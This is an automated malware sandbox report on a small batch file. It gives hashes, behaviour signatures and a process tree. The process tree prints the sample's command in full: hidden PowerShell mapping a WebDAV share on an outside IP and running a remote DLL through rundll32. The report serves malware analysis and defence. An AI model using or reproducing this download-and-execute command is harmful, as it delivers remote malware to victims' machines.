Analysis

  • max time kernel
    121s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    13-07-2024 18:40

General

  • Target

    17409195842865131075.bat

  • Size

    2KB

  • MD5

    a2a836ffbdedeb365be0cb3999abd45b

  • SHA1

    ffdbe204429c2af2a4da5f7c29f74248aaa91abb

  • SHA256

    4f98e7ba49d31096c6d3848c19f0489aa98c5e41eacb9203e7c4c0719b72819e

  • SHA512

    f48fa3ec28db3ac45a3590777f831ea383e8ae687b2a4c1b05b9a8616bdcd16e3aa6a19847fe6b33521e340cf9c2ee5004b2dc950b4bff0c9abff4cd6188a0f9

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\17409195842865131075.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2316
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4249.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2624
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2776
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4249.dll entry
          3⤵
            PID:2864

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2624-23-0x000000001B440000-0x000000001B722000-memory.dmp

        Filesize

        2.9MB

      • memory/2624-24-0x0000000002220000-0x0000000002228000-memory.dmp

        Filesize

        32KB